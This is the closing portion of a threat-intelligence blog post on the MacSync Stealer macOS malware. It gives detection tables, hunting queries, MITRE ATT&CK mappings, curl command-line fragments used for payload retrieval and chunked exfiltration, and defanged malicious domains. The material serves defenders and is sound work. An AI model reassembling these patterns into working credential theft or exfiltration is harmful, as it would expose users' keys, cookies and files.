• Enable tamper protection to help prevent unauthorized changes to Microsoft Defender security settings and reduce the risk of attackers disabling or weakening endpoint protections. 

Microsoft Defender XDR detections 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Tactic	Observed activity	Microsoft Defender coverage
Execution	User-initiated shell activity retrieves payload content with curl. Payload content is decoded or unpacked using base64 and gunzip. AppleScript and shell commands are executed through osascript and native macOS utilities.	Microsoft Defender for Endpoint  – Suspicious shell command execution  – Obfuscation or deobfuscation activity  – Executable permission added to file or directory  – Suspicious AppleScript activity  – Suspicious piped command launched  – Suspicious file or information obfuscation detected Microsoft Defender Antivirus  – Trojan:MacOS/SuspMalScript  – Behavior:MacOS/SuspOsascriptExec  – Behavior:MacOS/SuspDownloadFileExec  – Behavior:MacOS/SuspiciousActivityGen
Data Collection	Malware collects browser credentials, cookies, session data, Keychain-related material, cloud credentials, SSH keys, Apple Notes, browser profiles, browsing history, and sensitive files from common user directories. Collected data is staged and archived before upload.	Microsoft Defender for Endpoint  – Suspicious access of sensitive files  – Suspicious process collected datafrom local system  – Enumeration of files with sensitive data  – Suspicious archive creation  – Suspicious path deletion Microsoft Defender Antivirus  – Behavior:MacOS/SuspPassSteal  – Trojan:MacOS/SuspDecodeExec
Defense Evasion	Malware decodes or unpacks payload content and removes temporary archives, staging folders, lock files, and other artifacts after exfiltration.	Microsoft Defender for Endpoint  – Suspicious path deletion – Suspicious file or information obfuscation detected
Credential Access	Malware accesses Keychain-related material, browser Safe Storage keys, browser credential stores, locally stored credentials, SSH keys, and cloud credential files.	Microsoft Defender for Endpoint  – Suspicious access of sensitive files   – Unix credentials were illegitimately accessed
Exfiltration	Malware uploads staged archive chunks using curl with HTTP PUT, –data-binary, API-key headers, macOS User-Agent strings, upload_id, chunk_index, and total_chunks parameters.	Microsoft Defender for Endpoint   – Possible data exfiltration using curl   Microsoft Defender Antivirus   – Behavior:MacOS/SuspInfoExfil   – Trojan:MacOS/SuspMacSyncExfil

 Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat, malicious activity, infrastructure, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. 

Microsoft Defender XDR Threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware. 

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat. 

Advanced hunting queries

The following advanced hunting queries can help identify MacSync Stealer behaviors observed with this threat. Use these queries as starting points and tune the time range, device scope, and allowlists for your environment. 

Hunting objective: Identify rotating infrastructure by request shape

This query looks for curl-initiated network activity that matches recurring MacSync Stealer URI paths and upload parameters across domains. 

DeviceNetworkEvents 
| where InitiatingProcessFileName =~ "curl" 
| where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")

Hunting objective: Detect payload retrieval over /curl/ 

This query focuses on initial payload retrieval behavior where curl reaches a /curl/ path, helping identify delivery activity without relying on a specific domain. 

DeviceNetworkEvents 
| where InitiatingProcessFileName =~ "curl" 
| where RemoteUrl has "/curl/" 

Hunting objective: Detect chunked exfiltration over curl HTTP PUT 

This query targets active exfiltration behavior by looking for curl HTTP PUT uploads that use –data-binary and chunked upload parameters. 

DeviceNetworkEvents 
| where InitiatingProcessFileName =~ "curl" 
| where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary") 
| where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=") 

Hunting objective: Find curl command lines with MacSync infrastructure traits 

This query searches endpoint process telemetry for curl command lines containing the headers, URI paths, and upload parameters used as durable behavioral pivots. 

DeviceProcessEvents 
| where FileName =~ "curl" 
| where ProcessCommandLine has_any ("api-key", "/curl/", "/dynamic", "/gate", "--data-binary", "upload_id=", "chunk_index=", "total_chunks=", "%{http_code}") 

Hunting objective: Identify AppleScript-launched shell activity 

This query looks for osascript activity that launches shell commands or native utilities commonly seen in the observed post-execution chain. 

DeviceProcessEvents 
| where FileName =~ "osascript" 
| where ProcessCommandLine has_any ("sh -c", "cp ", "rm ", "curl ", "mkdir ", "killall", "dscl") 

MITRE ATT&CK techniques observed

The following MITRE ATT&CK mappings reflect behaviors observed during the MacSync Stealer investigation. The mapping emphasizes the same behavioral pivots used throughout this blog, including shell and AppleScript-assisted execution, payload retrieval, credential and browser data theft, sensitive file collection, staging, chunked exfiltration, cleanup, and rotating infrastructure. 

Execution 

• T1059.004 Command and Scripting Interpreter: Unix Shell | An interactive zsh terminal session was used to run curl commands, decode or unpack payload content with base64 and gunzip, and execute shell commands. 

• T1105 Ingress Tool Transfer | curl downloaded payload content from attacker-controlled infrastructure using recurring payload retrieval paths. 

Discovery 

• T1082 System Information Discovery | The malware collected host and user information during environment discovery. 

• T1057 Process Discovery | The malware enumerated running processes and system configuration before continuing collection and credential-access activity. 

• T1518 Software Discovery | The malware checked for cryptocurrency wallet applications such as Ledger and Trezor. 

Credential Access 

• T1555.001 Credentials from Password Stores: Keychain | The malware created a temporary keychain-grabbing script, attempted to extract browser Safe Storage keys, and accessed or attempted to unlock the macOS Keychain. 

• T1555.003 Credentials from Password Stores: Credentials from Web Browsers | The malware collected browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, and extension storage from Chrome, Brave, Edge, Opera, Vivaldi, Arc, Chromium, and other browsers. 

Collection 

• T1005 Data from Local System | The malware searched Downloads, Documents, and Desktop and collected sensitive file types including PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, WALLET, and SEED files. 

• T1552.001 Unsecured Credentials: Credentials in Files | The malware harvested SSH keys, AWS credentials, Kubernetes configurations, browser profiles, Apple Notes, Safari data, and other locally stored secrets. 

• T1560.001 Archive Collected Data: Archive via Utility | Collected data was staged under /tmp/sync* and compressed into /tmp/osalogging.zip before upload. 

Command and Control 

• T1071.001 Application Layer Protocol: Web Protocols | C2 communication used web protocols with recurring paths such as /dynamic?txd= and /gate?buildtxd=, macOS User-Agent strings, API-key headers, and rotating domains. 

Exfiltration 

• T1041 Exfiltration Over C2 Channel | Collected data was uploaded to attacker-controlled infrastructure using recurring /gate URI patterns and chunked HTTP PUT requests. 

• T1020 Automated Exfiltration | The malware automated upload activity using curl with HTTP PUT, –data-binary, upload identifiers, chunk_index, and total_chunks parameters. 

• T1030 Data Transfer Size Limits | The archive was split into multiple chunks before upload, as shown by repeated chunk_index and total_chunks parameters in exfiltration requests. 

Defense Evasion 

• T1070.004 Indicator Removal: File Deletion | Temporary archives, staging folders, lock files, and other artifacts were removed after exfiltration. 

• T1140 Deobfuscate/Decode Files or Information | Payload content was decoded or unpacked using base64 and gunzip before execution. 

Behavioral Hunting Pivots 

The following command-line patterns, URL paths, and URL parameters were observed in activity consistent with MacSync Stealer. Use these durable behavioral pivots with process and network context to investigate related activity as infrastructure rotates; then use the point-in-time domain indicators in the IOC section to enrich and validate those findings. 

Indicator	Type	Description
-H “api-key:”	Command-line parameter	API-key header request pattern used in MacSync Stealer C2 communication.
-H “User-Agent: Mozilla/5.0 (Macintosh”	Command line parameters	macOS User-Agent string used in outbound requests associated with the activity.
-w %{http_code}	Command line parameters	Curl output pattern used to capture HTTP response codes during upload attempts.
-X PUT –data-binary	Command line parameters	HTTP upload pattern associated with data-transfer and exfiltration behavior.
curl -k -s –max-time	Command line parameters	Curl-based C2 check-in pattern that suppresses output, bypasses certificate validation, and limits connection time.
/curl/	URL path	Payload retrieval path observed in MacSync Stealer command-line activity.
/dynamic?txd=	URL path	Recurring MacSync Stealer URI pattern used for C2 and infrastructure hunting.
/gate?buildtxd=	URL path	Recurring MacSync Stealer URI pattern associated with chunked HTTP PUT data exfiltration.
chunk_index=	URL parameter	Chunk index parameter observed in repeated upload requests.
total_chunks=	URL parameter	Total chunk count parameter observed in chunked upload activity.
upload_id=	URL parameter	Upload session parameter observed during chunked data-transfer activity.

Indicators of compromise (IOC)

The following domain indicators were observed in activity consistent with MacSync Stealer. Treat them as point-in-time evidence: use them to enrich and validate matches from the behavioral pivots above, and correlate any hits with process and network context because related infrastructure may rotate quickly. 

Indicator	Type	Description
aihealthring [.]com	Domain	Domain observed in activity consistent with MacSync Stealer; use matches to enrich and validate findings from the behavioral pivots above, correlated with process and network context.
cabinrentalsnc [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
chatbasedos [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
commercialroofingsd [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
dogtrainersgeorgia [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
fintelliganceai [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
homeinspectionsdelaware [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
intopython [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
lalandscapelighting [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
lumenagnet [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
marbellaresales [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
miamipcsupport [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
moldinspectiondayton [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
nailscanai [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
newjerseypetsitter [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
numericagent [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
oaklandwaterdamage [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
oklahomawarehousing [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
olympiapetemergency [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
peaecagent [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
plasmaticsystems [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
plethorawallet [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
premierrentalpurchase [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
ricewaterbeauty [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
rvieragent [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
sandiegotkd [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
secueragent [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
shiledagent [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
syracusefertilitycenter [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
vastbets [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.
wvaeagent [.]com	Domain	Related MacSync Stealer infrastructure identified through behavioral hunting.

References

References used for external context and related defensive guidance: 

• MacSync Stealer: C2 Infrastructure Rotation – RST Cloud. RST Cloud, May 8, 2026. 

• ClickFix campaign uses fake macOS utilities lures to deliver …. Microsoft, May 6, 2026. 

• Protecting against malware in macOS – Apple Support  December 19, 2024 

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Hunting MacSync Stealer infrastructure through behavioral pivots appeared first on Microsoft Security Blog.

from Microsoft Security Blog https://ift.tt/NjqZU5p
via IFTTT